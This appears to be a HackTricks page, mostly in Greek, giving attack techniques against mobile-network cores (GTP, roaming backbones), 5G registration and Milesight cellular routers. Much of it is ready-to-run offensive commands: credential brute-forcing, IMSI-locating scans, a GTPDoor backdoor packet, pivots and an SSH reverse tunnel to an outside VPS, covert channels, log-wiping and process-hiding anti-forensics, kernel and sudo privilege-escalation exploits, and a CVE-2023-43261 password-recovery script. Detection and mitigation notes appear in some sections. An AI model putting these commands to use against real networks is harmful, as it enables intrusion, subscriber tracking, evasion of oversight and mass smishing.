Εκμετάλλευση Δικτύων Τηλεπικοινωνιών (GTP / Roaming Environments)
Reading time: 13 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
note
Τα πρωτόκολλα του mobile-core (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι‑έμπιστα GRX/IPX roaming backbones. Επειδή κινούνται πάνω από απλό UDP με σχεδόν καθόλου έλεγχο ταυτότητας, οποιοδήποτε foothold εντός του περιμέτρου τηλεπικοινωνιών συνήθως μπορεί να φτάσει απευθείας τα core signalling planes. Οι παρακάτω σημειώσεις συλλέγουν επιθετικά κόλπα που παρατηρήθηκαν σε πραγματικές συνθήκες εναντίον των SGSN/GGSN, PGW/SGW και άλλων κόμβων EPC.
1. Recon & Initial Access
1.1 Προεπιλεγμένοι λογαριασμοί OSS / NE
Ένας εκπληκτικά μεγάλος αριθμός στοιχείων δικτύου προμηθευτών παραδίδεται με hard-coded SSH/Telnet χρήστες όπως root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
1.2 Host Discovery εντός GRX/IPX
Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν ICMP echo σε όλη τη ραχοκοκαλιά. Συνδυάστε masscan
με τις ενσωματωμένες gtpv1
UDP probes για γρήγορη χαρτογράφηση των GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Εντοπισμός Συνδρομητών – cordscan
Το παρακάτω εργαλείο Go κατασκευάζει πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει το τρέχον SGSN / MME που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεφθέν PLMN του συνδρομητή.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Βασικές σημαίες:
--imsi
IMSI του στοχευόμενου συνδρομητή--oper
Home / HNI (MCC+MNC)-w
Εγγραφή ακατέργαστων πακέτων σε pcap
Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Εκτέλεση κώδικα πάνω από GTP – GTPDoor
GTPDoor
είναι μια μικρή υπηρεσία ELF που δεσμεύει UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω /bin/sh -c
. Τα stdout/stderr exfiltrated μέσα σε μηνύματα Echo Response, έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.
Ελάχιστο PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Ανίχνευση:
- οποιοσδήποτε host που στέλνει unbalanced Echo Requests σε SGSN IPs
- GTP version flag = 1 ενώ message type = 1 (Echo) — απόκλιση από τις προδιαγραφές
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
περιλαμβάνει έναν SGSN emulator ικανό να establish a PDP context towards a real GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0
προσβάσιμη από το roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the data plane.
4.2 SSH Reverse Tunnel over Port 53
Το DNS σχεδόν πάντα είναι ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική SSH υπηρεσία στο VPS σας που ακούει στη θύρα :53 και επιστρέψτε αργότερα από το σπίτι:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Ελέγξτε ότι GatewayPorts yes
είναι ενεργοποιημένο στο VPS.
5. Κρυφοί Δίαυλοι
Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | απολύτως παθητικός listener, χωρίς εξερχόμενη κίνηση |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) κωδικοποιημένο στα A-record octets | παρακολουθεί για *.nodep sub-domain |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob σε private IE | αναμειγνύεται με νόμιμη GTP-C κίνηση |
Όλα τα implants υλοποιούν watchdogs που timestomp τα binaries τους και re-spawn αν καταρρεύσουν.
6. Συνοπτικός Οδηγός Αποφυγής Ανίχνευσης
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Ανύψωση προνομίων σε Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Συμβουλή καθαρισμού:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Εργαλειοθήκη
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.FScan
: σάρωση TCP ενδοδικτύου (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: ελαφρύ SOCKS5 pivotingFRP
(≥0.37) : διέλευση NAT / γέφυρα πόρων
9. Επιθέσεις Εγγραφής 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω σε NGAP. Μέχρι να ενεργοποιηθεί το NAS security μέσω Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated ούτε encrypted. Αυτό το παράθυρο πριν την ενεργοποίηση της ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να τροποποιήσετε την κίνηση N2 (π.χ. on-path μέσα στο core, rogue gNB, ή σε testbed).
Registration flow (simplified):
- Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; το UE επιστρέφει RES*.
- Security Mode Command/Complete: διαπραγματεύονται και ενεργοποιούνται NAS integrity και ciphering.
- PDU Session Establishment: ρύθμιση IP/QoS.
Συμβουλές για lab setup (non-RF):
- Core: Open5GS default deployment είναι επαρκές για αναπαραγωγή των flows.
- UE: simulator ή test UE; decode με Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS μέσα στο NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκώσετε πλήρες rogue gNB).
- Χρήσιμα display filters στο Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Προστασία ταυτότητας: SUCI failures εκθέτουν SUPI/IMSI
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση plaintext SUPI/IMSI στο Registration Request υποδεικνύει ελάττωμα ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητή.
Πώς να ελέγξετε:
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και επιθεωρήστε το Mobile Identity IE.
- Γρήγοροι έλεγχοι στο Wireshark:
- Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
θα πρέπει να υπάρχει; η απουσία σε συνδυασμό με την παρουσία τουimsi
υποδηλώνει leak.
Τι να συλλέξετε:
- MCC/MNC/MSIN αν εκτίθενται; καταγράψτε ανά-UE και παρακολουθήστε στο χρόνο/τοποθεσίες.
Αντιμετώπιση:
- Εφαρμόστε SUCI-only UEs/USIMs; ειδοποιείτε για οποιοδήποτε IMSI/SUPI σε αρχικό NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Υπόβαθρο:
- Το UE διαφημίζει τις υποστηριζόμενες EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
- Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
Πρόβλημα:
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να μηδενίσει bits δυνατοτήτων ώστε να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
Επιθετικά βήματα:
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
- Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
- Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.
Επαλήθευση/ορατότητα:
- Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγορίθμους μετά το Security Mode Command/Complete.
- Παράδειγμα εξόδου παθητικού sniffer:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Μέτρα μετριασμού (υποχρεωτικά):
- Ρυθμίστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου απαιτείται αυστηρά (π.χ., κλήσεις έκτακτης ανάγκης).
- Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο· καταγράψτε και ενεργοποιήστε συναγερμό για οποιοδήποτε NAS security context που διαπραγματεύεται null algorithms.
9.3 Αναπαραγωγή του αρχικού Registration Request (pre-security NAS)
Επειδή το αρχικό NAS δεν διαθέτει ακεραιότητα και φρεσκάδα, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να αναπαραχθεί προς το AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Τι να παρατηρήσετε:
- Εάν το AMF αποδεχτεί το replay και προχωρήσει σε Authentication· η έλλειψη ελέγχου φρεσκάδας/πλαισίου υποδεικνύει έκθεση.
Mitigations:
- Εφαρμόστε replay protection/context binding στο AMF· rate-limit και συσχετίστε ανά GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: εκκινήστε ένα AMF/SMF/UPF για να μιμηθείτε τον core· παρατηρήστε N2 (NGAP) και NAS.
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε Registration.
- 5GReplay: καταγράψτε μια registration, στη συνέχεια replay συγκεκριμένα NGAP + NAS μηνύματα σύμφωνα με τον κανόνα.
- Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.
9.5 Defensive checklist
- Ελέγχετε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις παραβατικές συσκευές/USIMs.
- Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτείστε τουλάχιστον EEA2/EIA2.
- Ανιχνεύστε rogue ή κακώς διαμορφωμένη υποδομή: unauthorized gNB/AMF, απροσδόκητοι N2 peers.
- Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.
10. Industrial Cellular Routers – Κατάχρηση μη-επαληθευμένου SMS API (Milesight UR5X/UR32/UR35/UR41) και Ανάκτηση διαπιστευτηρίων (CVE-2023-43261)
Η κατάχρηση εκτεθειμένων web APIs βιομηχανικών cellular routers επιτρέπει stealthy, carrier-origin smishing σε μεγάλη κλίμακα. Οι Milesight UR-series routers εκθέτουν ένα JSON-RPC–style endpoint στο /cgi
. Όταν είναι misconfigured, το API μπορεί να ερωτηθεί χωρίς authentication για να εμφανίσει το SMS inbox/outbox και, σε ορισμένες αναπτύξεις, να στείλει SMS.
Τυπικά unauthenticated requests (ίδια δομή για inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Οι απαντήσεις περιλαμβάνουν πεδία όπως timestamp
, content
, phone_number
(E.164) και status
(success
or failed
). Επαναλαμβανόμενες αποστολές failed
στον ίδιο αριθμό συχνά αποτελούν για τους επιτιθέμενους “capability checks” για να επαληθεύσουν ότι ένας router/SIM μπορεί να παραδώσει πριν το blasting.
Παράδειγμα curl για να exfiltrate τα μεταδεδομένα SMS:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Σημειώσεις σχετικά με auth artifacts:
- Μερική κίνηση μπορεί να περιλαμβάνει ένα auth cookie, αλλά μεγάλο μέρος των εκτεθειμένων συσκευών απαντά χωρίς καμία authentication σε
query_inbox
/query_outbox
όταν η διεπαφή διαχείρισης είναι Internet-facing. - Σε περιβάλλοντα που απαιτούν auth, οι previously-leaked credentials (βλέπε παρακάτω) επαναφέρουν την πρόσβαση.
Credential recovery path – CVE-2023-43261:
- Πληττόμενες οικογένειες: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Πρόβλημα: τα web-served logs (π.χ.,
httpd.log
) είναι προσβάσιμα χωρίς authentication κάτω από/lang/log/
και περιέχουν admin login events με τον password κρυπτογραφημένο χρησιμοποιώντας hardcoded AES key/IV που υπάρχει σε client-side JavaScript. - Πρακτική πρόσβαση και αποκρυπτογράφηση:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Ελάχιστο Python για την αποκρυπτογράφηση leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting and detection ideas (network):
- Ειδοποίηση για μη αυθεντικοποιημένα
POST /cgi
των οποίων το JSON σώμα περιέχειbase
/function
ρυθμισμένο σεquery_inbox
ήquery_outbox
. - Παρακολούθηση επαναλαμβανόμενων bursts
POST /cgi
που ακολουθούνται από καταχωρήσειςstatus":"failed"
σε πολλούς μοναδικούς αριθμούς από την ίδια source IP (capability testing). - Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"
matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log
.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
Ιδέες Ανίχνευσης
- Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί Create PDP Context Requests.
- Μη-τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes από εσωτερικές διευθύνσεις IP.
- Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses – μπορεί να υποδεικνύουν GTPDoor beacons.
- Υψηλός ρυθμός ICMP echo-reply κίνησης με μεγάλα, μη μηδενικά identifier/sequence πεδία.
- 5G: InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints (replay signal).
- 5G: NAS Security Mode που διαπραγματεύεται EEA0/EIA0 εκτός πλαισίων έκτακτης ανάγκης.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.